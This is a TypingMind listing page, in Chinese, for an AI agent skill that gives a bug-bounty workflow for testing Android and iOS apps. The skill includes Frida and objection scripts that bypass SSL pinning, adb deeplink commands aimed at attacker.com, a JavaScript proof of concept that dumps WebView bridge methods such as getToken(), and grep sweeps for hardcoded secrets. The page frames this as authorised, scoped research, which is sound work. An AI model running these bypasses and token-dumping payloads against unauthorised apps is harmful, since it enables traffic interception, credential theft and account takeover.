Mobile Pentest 标志

Mobile Pentest

组织热门
awarexone
mobile-pentest

面向漏洞赏金的移动应用渗透测试(Android APK + iOS IPA)——以运行时为先:安装应用,通过 Burp/mitmproxy 设置代理,操作界面并抓取数据包,然后像测试 Web 目标一样测试 API;只有在流量经过 SSL 固定、已加密或完全不可见时,才进一步反编译(apktool/jadx)并使用 Frida/objection。内容涵盖 APK/IPA 反编译以查找硬编码密钥、隐藏 API 端点及 Web 应用不会暴露的基础 URL;导出 Activity 和 Deeplink 意图注入;滥用 WebView 的 addJavascriptInterface 桥接;绕过 SSL 固定(objection patchapk / Frida CertificatePinner + checkServerTrusted hooks);通过 OkHttp 拦截器链还原请求签名;JNI 原生库初步排查;以及使用 apktool/grep 快速扫描密钥和端点。适用于项目范围包含移动应用、Web 侦察线索枯竭而需要寻找新攻击面,或流量受到固定保护、必须进行 MitM 的情况。

概览

发布者awarexone
代码仓库Agentic-Bug-Hunter
技能名称mobile-pentest
星标数
4.9K
复刻数
868
附带文件
仅含指令
许可协议MIT
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 指令自成一体

    模型所需的一切都包含在指令中,无需同步额外文件。

  • 开源

    由 awarexone 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Mobile Pentest AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/mobile-pentest
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git /tmp/Agentic-Bug-Hunter
mkdir -p .claude/skills
cp -r /tmp/Agentic-Bug-Hunter/skills/mobile-pentest .claude/skills/mobile-pentest
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Mobile Pentest,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Mobile Pentest。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Mobile Pentest 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

MOBILE APP PENTEST (ANDROID / iOS)

Mobile apps talk to the same backend as the web app — but they ship a different, less-hunted attack surface: base URLs, API endpoints, header schemes, and hardcoded secrets that web recon never sees. Most hunters skip mobile. That's the edge.

The whole point: the APK/IPA is a copy of the client. Decompile it once and you get every endpoint the web JS never references, every staging/internal base URL, and often a live API key sitting in strings.xml. Then you attack the backend like any web target.


RUNTIME-FIRST — THE ONE RULE THAT MATTERS

Do NOT start by decompiling. Decompiling first burns hours recovering crypto you may never need. Default order:

1. Install the app on a device/emulator (in scope confirmed via /scope)
2. Point it at Burp / mitmproxy
3. Drive the real business flows by hand (login, pay, edit profile, share)
4. After each action, check the proxy: are requests visible and replayable?
5. Traffic visible + replayable  → STOP. Test the API like a web target.
6. Traffic pinned / encrypted / absent → THEN escalate to apktool/jadx/Frida.

Most of your paid mobile bugs (IDOR, auth bypass, business logic) come from step 5 — plain HTTP traffic you replay in Burp. Reversing (apktool/jadx/Frida) is a support step to get traffic flowing or to recover a request signer, not the goal.

If Burp already has a stable, replayable request, you are done reversing. Switch to server-side testing.


0. SCOPE CHECK FIRST

Mobile has its own scope traps. Before touching the binary:

  • Is the app itself in scope, or only the web domains? Many programs list the app package (com.target.app) explicitly. If only *.target.com is listed, the API endpoints the app calls are usually in scope — but the app binary analysis may not be. Run /scope.
  • Third-party SDKs (analytics, ads, crash reporters) bundled in the APK are out of scope — they belong to Firebase/Sentry/AppsFlyer, not the target.
  • Don't report "app is debuggable" / "no root detection" / "no obfuscation" — these are N/A on almost every program (no real-world attacker impact). See the Never-Submit list below.

1. SETUP (one-time)

bash
# Android device/emulator over adb
adb devices
adb install target.apk                     # or pull a live install: adb shell pm path com.target.app

# Proxy — route device traffic through Burp or mitmproxy
# Android: Settings > Wi-Fi > proxy = <laptop-ip>:8080, install Burp CA as a *system* cert
# (user certs are ignored by apps targeting API 24+ — push to /system/etc/security/cacerts on a rooted device,
#  or use objection patchapk to inject a network_security_config that trusts user certs)
mitmproxy --listen-port 8080               # CLI alternative to Burp; mitmweb for a UI

# Reversing toolchain
apktool d target.apk -o target_src         # smali + resources + manifest (recompilable)
jadx-gui target.apk                         # DEX -> readable Java (best for reading logic)
jadx -d target_jadx target.apk              # CLI batch decompile

# Runtime instrumentation
pip install frida-tools objection
# Pin a compatible gadget version — Frida 17 broke older flows; 16.7.x is the stable bug-bounty pick (2025)
frida --version

iOS needs a jailbroken device (Apple ships no emulator that defeats pinning). Same flow: install IPA, proxy, drive UI, escalate to frida/objection only if pinned.


2. STATIC SWEEP — SECRETS + ENDPOINTS WEB RECON MISSES 🔑

This is the highest-ROI 5 minutes in mobile hunting. Decompile, then grep. The quick check (no rooted device needed):

bash
apktool d target.apk -o target_src

# Hardcoded secrets — strings.xml is where lazy devs stash keys
grep -rn "api_key\|secret\|password\|token\|Authorization\|Bearer\|client_secret\|private_key" \
  target_src/ --include="*.smali" --include="*.xml"

# Base URLs + endpoints — the gold. Strip framework noise:
grep -rn "https://" target_src/ | grep -v "schema\|xmlns\|android\|google\|w3.org\|apache" | sort -u | head -80

# Firebase / cloud creds frequently shipped in resources
grep -rniE "firebaseio\.com|amazonaws\.com|s3\.|googleapis|cloudfront|\.blob\.core" target_src/

# Use jadx output (Java) for readability when smali is unreadable
jadx -d target_jadx target.apk
grep -rnE "https?://[a-z0-9.-]+" target_jadx/sources/ | grep -viE "android|google|w3\.org" | sort -u

Automate it with apkleaks (regex pack for URIs + secrets) when installed:

bash
apkleaks -f target.apk -o target_apkleaks.txt    # endpoints + secret patterns in one pass

What to do with each hit (impact-first — this is what makes it submittable vs N/A):

Found in APKAction — prove real impact RIGHT NOW
internal-api.target.com / staging.target.com base URL not in web reconhttpx it, crawl it, /recon it — fresh surface, often weak auth
Live API key (Google Maps, AWS, Algolia, Mapbox, SendGrid)Call the API as the key. Unkeyed billing = $$. See Credential Leaks rule — a key alone is Informational; proven access is Medium/High
Endpoint the web app never calls (/api/internal/, /admin/, /debug/)Hit it from Burp with your session token — admin/IDOR candidate
Hardcoded backend password / basic-auth headerVerify it authenticates against the live host

Mobile is the single best place to find non-public base URLs. The web JS bundle only references prod; the app frequently hardcodes staging, internal, and partner APIs. Each one is a new /recon target.


3. NETWORK-LAYER TESTING — TREAT IT LIKE A WEB TARGET 📡

Once traffic is in Burp, mobile API testing is web API testing. The loop:

baseline capture -> stable replay -> small mutation -> compare response + side effect -> expand by bug class
  1. Capture one clean baseline request, replay it unchanged to prove it's stable.
  2. Mutate the smallest safe field first (never many fields at once — if it's signed/stateful, multi-field changes hide the real blocker).
  3. Compare status, body, timing, and server state. Note: accepted / normalized / rejected / blocked-by-signer.

What to hit first (full payloads + bypass tables live in the web2-vuln-classes and security-arsenal skills):

  • Auth / session — strip or swap the bearer token, device-id, and tenant/user-id; replay across two accounts. Mobile apps love X-User-Id / deviceId headers that the server trusts → horizontal IDOR.
  • Business logic — change object IDs, amounts, prices, coupon state; skip workflow steps; replay payment requests (race / double-spend). Follow the money.
  • Injection — fields reaching search, filter, file metadata, XML, or server-side fetch. SSRF/SSTI/SQLi same as web.
  • GraphQL / WebSocket — introspection, field overreach, channel auth, stale-token reuse.

Mobile API endpoints are frequently older and less-reviewed than the web equivalents — the same dev shipped a stricter web gateway but the app hits a legacy /v1/ route directly. Always diff the app's endpoints against the web app's.


4. SSL PINNING BYPASS — WHEN TRAFFIC IS BLANK 🔓

If the proxy shows no app traffic (only OS/other-app traffic), the app is pinning. Pinning bypass is a support step to get back to network-layer testing — not a finding by itself.

Fastest path — objection (works against most stock implementations):

bash
# Repackage the APK with a Frida gadget + pinning-bypass hooks baked in (no root needed)
objection patchapk -s target.apk --ignore-nativelibs --gadget-version 16.7.19
adb install target.objection.apk
objection -g com.target.app explore
# then inside the objection REPL:
android sslpinning disable        # hooks OkHttp CertificatePinner, TrustManager, etc.
# iOS equivalent (jailbroken):  ios sslpinning disable

When objection fails (custom pinning / obfuscation) — targeted Frida hook:

javascript
// pin-bypass.js — hook the two canonical Android pinning chokepoints
Java.perform(function () {
  // 1. OkHttp CertificatePinner.check() -> make it a no-op
  try {
    var CertPinner = Java.use('okhttp3.CertificatePinner');
    CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function () {
      console.log('[+] OkHttp CertificatePinner.check() bypassed: ' + arguments[0]);
      return;  // SECURE app would throw SSLPeerUnverifiedException here
    };
  } catch (e) {}

  // 2. Custom X509TrustManager.checkServerTrusted() -> accept everything
  var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
  TrustManagerImpl.checkTrustedRecursive.implementation = function () {
    console.log('[+] checkServerTrusted bypassed');
    return Java.use('java.util.ArrayList').$new();
  };
});
bash
frida -U -f com.target.app -l pin-bypass.js     # spawn + inject
# or use the well-known universal codeshare script:
frida -U -f com.target.app --codeshare akabe1/frida-multiple-unpinning

After bypass, traffic flows into Burp → go back to the Network-Layer loop. You don't report the pinning — you report whatever the now-visible traffic lets you exploit.


5. EXPORTED ACTIVITIES + DEEPLINK INJECTION 📲

AndroidManifest.xml is a free attack-surface map. Any component with exported="true" (or an intent-filter, which makes it exported by default) can be launched by any other app on the device — or a malicious web page.

bash
# Pull the manifest and list every exported component + deeplink scheme
apktool d target.apk -o target_src
grep -nE "exported=\"true\"|<activity|<receiver|<service|android:scheme=|category android:name=\"android.intent.category.BROWSABLE\"" \
  target_src/AndroidManifest.xml

The dangerous combo (the single most common paid mobile bug pattern):

exported="true"  +  BROWSABLE category  +  custom scheme  +  no parameter validation

That means a one-click <a href="targetapp://..."> from any web page reaches an internal component. Test from adb first, then weaponize via a hosted HTML link:

bash
# Launch an exported activity directly with attacker-controlled extras
adb shell am start -n com.target.app/.feature.UriActivity -d "targetapp://open?url=https://attacker.com"

# Probe a deeplink handler for open-redirect / WebView takeover
adb shell am start -W -a android.intent.action.VIEW \
  -d "targetapp://webview?url=https://attacker.com/poc.html" com.target.app

Impact ladder (what makes it submittable):

  • Deeplink param flows into a WebView loadUrl() → attacker controls the page rendered inside the authenticated app → token theft / phishing in a trusted context. This is the KuCoin-style UriActivity pattern — a public-program report where an exported activity opened an arbitrary URL in the app's WebView.
  • Deeplink reaches a non-exported internal component via intent redirection (startActivity(getIntent().getParcelableExtra("forward"))) → access screens meant to be internal-only.
  • Deeplink sets an auth token / deep-links into a logged-in flow → account takeover if the URL is attacker-supplied (per Oversecured's disclosed deeplink→ATO chain).

Web javascript: and intent:// URIs in a browser can fire these deeplinks with one click. That browser→app pivot is what turns a "theoretical" exported component into a real, submittable one-click exploit.


6. WEBVIEW addJavascriptInterface BRIDGE 🌉

A WebView that calls addJavascriptInterface(obj, "name") exposes that Java object's @JavascriptInterface methods to any JS running in the WebView. If you also control the URL the WebView loads (via the deeplink bug above, an open redirect, or a file:///MitM page), the JS bridge is your foothold.

bash
# Find the bridge + how the WebView is configured
grep -rnE "addJavascriptInterface|setJavaScriptEnabled|loadUrl|@JavascriptInterface|setAllowFileAccess|setAllowUniversalAccessFromFileURLs" \
  target_jadx/sources/

What to look for and prove:

java
// VULNERABLE — bridge exposed + JS enabled + attacker controls the loaded URL
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsBridge(), "AndroidBridge");  // any method here is callable from JS
webView.loadUrl(intent.getData().toString());                     // attacker-controlled via deeplink
javascript
// PoC page served from attacker.com, loaded via the deeplink WebView bug:
// call every exposed bridge method, dump what it returns
for (var m in AndroidBridge) {
  try { document.title += " " + m + "=" + AndroidBridge[m](); } catch(e){}
}
// High-value targets: getToken(), getUserInfo(), readFile(), getDeviceId(), saveContact()
  • On API < 17, addJavascriptInterface exposes getClass() → reflection → arbitrary Java → effectively RCE. Rare now but still paid on legacy apps.
  • On modern API, impact = whatever the bridge methods leak/do: auth token exfil, PII read, file read (setAllowFileAccess), privileged native action triggered by web JS.

Chain it: deeplink injection (controls the URL) → WebView loads attacker page → JS bridge dumps the session token → account takeover. A→B→C, the kind of chain that pays well above a flat XSS.


7. RECOVERING THE REQUEST SIGNER (OkHttp interceptor chain)

Sometimes replay fails because the app adds a X-Sign / sign header the server validates. You only need to recover this if mutation keeps getting rejected — otherwise skip it. Static-first:

bash
# Locate the signer in jadx — the OkHttp interceptor chain is where headers/signatures get written
grep -rnE "Interceptor|addInterceptor|Request\.Builder|HttpUrl|\.addHeader|\.header\(" target_jadx/sources/
grep -rnE "\"sign\"|\"token\"|hmac|HmacSHA|MessageDigest|Mac\.getInstance|Cipher\.getInstance" target_jadx/sources/

Call flow to trace (entry → wire):

Activity / Fragment
 -> ViewModel / Presenter
 -> Repository / DataSource
 -> ApiService (Retrofit)  -> OkHttp Interceptor (adds headers/sign) -> Signer / Encryptor

If the signer is Java, read the inputs (which fields + constants + device values feed the HMAC) and reimplement in Python, or just hook it with Frida and let the app sign for you:

javascript
// Frida — dump signer inputs/outputs instead of reimplementing the algo
Java.perform(function () {
  var Signer = Java.use('com.target.app.network.SignUtil');
  Signer.sign.overload('java.lang.String').implementation = function (input) {
    var out = this.sign(input);
    console.log('[sign] in=' + input + '\n[sign] out=' + out);
    return out;
  };
});

JNI / native note: if the signer is in a .so (look for System.loadLibrary / native method declarations), don't dive into IDA first. Prove the Java→native boundary (which lib, which params in, which value out), then either hook the boundary or drive the app to sign for you. Reimplementing native crypto is the last resort, only when you need offline reproduction.


NEVER SUBMIT (mobile N/A list — kill these fast)

These have no standalone real-world attacker impact and tank your validity ratio:

  • "App is debuggable" / "backup allowed" — needs physical device access, N/A
  • "No root / jailbreak detection" — not a vuln; you bypassing it is the enabling step, not the finding
  • "No SSL pinning" / "SSL pinning bypassed" alone — pinning is defense-in-depth; report the traffic it exposed
  • "No code obfuscation" / "APK can be decompiled" — every APK can; N/A
  • Secrets that are public by design (Firebase web API keys, Google Maps keys with referrer restrictions) — only valid if you prove unrestricted privileged access
  • Exported component that requires a signature-level permission or does nothing sensitive — no impact

Every mobile finding must answer: "Can a remote attacker, with no physical access to the victim's unlocked device, do this RIGHT NOW for real impact?" If it needs the victim's rooted/unlocked phone, it's almost always N/A.


REAL PAID EXAMPLES

  • Exported UriActivity deeplink opened an arbitrary URL in the app's authenticated WebView (KuCoin, public bug bounty program) — exported=true + no URL validation, found by decompiling with jadx.
  • Deep link → WebView redirect → token theft / account takeover — pattern documented across multiple disclosed Android reports (Oversecured research, seen on H1/Bugcrowd programs).
  • addJavascriptInterface JS→Java bridge abused for unauthorized access on a major crypto-exchange Android app (disclosed writeup) — attacker-controlled WebView page called exposed bridge methods.
  • Hardcoded live credentials / API keys in strings.xml and decompiled source — recurring high-signal pattern on mobile programs; impact gated on proving what the key accesses (pattern seen across H1/Bugcrowd).
  • Internal/staging base URLs hardcoded in the APK that web recon never surfaced → fresh, weakly-authed API surface (recurring pattern; treat each as a new /recon target).

TOOL ORDER (compress it, but keep the logic)

1. Burp / mitmproxy   — network visibility FIRST
2. apktool / jadx     — static proof (endpoints, secrets, manifest, signer)
3. adb                — drive components, read logs, launch deeplinks
4. frida / objection  — runtime hooks, pinning bypass, signer dump
5. IDA / Ghidra       — only when a .so native signer is the real blocker

Cross-reference: once traffic is replayable, hand off to the web2-vuln-classes skill (IDOR, auth bypass, SSRF, business logic, GraphQL) and security-arsenal for payloads. Validate every finding through the triage-validation 7-Question Gate before writing — mobile N/A reports hurt the most because they're easy to mass-submit.

常见问题

Mobile Pentest AI 技能有什么作用?

面向漏洞赏金的移动应用渗透测试(Android APK + iOS IPA)——以运行时为先:安装应用,通过 Burp/mitmproxy 设置代理,操作界面并抓取数据包,然后像测试 Web 目标一样测试 API;只有在流量经过 SSL 固定、已加密或完全不可见时,才进一步反编译(apktool/jadx)并使用 Frida/objection。内容涵盖 APK/IPA 反编译以查找硬编码密钥、隐藏 API 端点及 Web 应用不会暴露的基础 URL;导出 Activity 和 Deeplink 意图注入;滥用 WebView 的 addJavascriptInterface 桥接;绕过 SSL 固定(objection patchapk / Frida CertificatePinner + checkServerTrusted hooks);通过 OkHttp 拦截器链还原请求签名;JNI 原生库初步排查;以及使用 apktool/grep 快速扫描密钥和端点。适用于项目范围包含移动应用、Web 侦察线索枯竭而需要寻找新攻击面,或流量受到固定保护、必须进行 MitM 的情况。

为什么在 TypingMind 中使用 Mobile Pentest?

因为您只需安装一次,就能搭配任何模型使用。Mobile Pentest 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Mobile Pentest?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/mobile-pentest。TypingMind 会读取其中的 SKILL.md,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Mobile Pentest?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Mobile Pentest 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Mobile Pentest 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Mobile Pentest AI 技能免费吗?

是的。awarexone 已在 GitHub 上根据 MIT 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇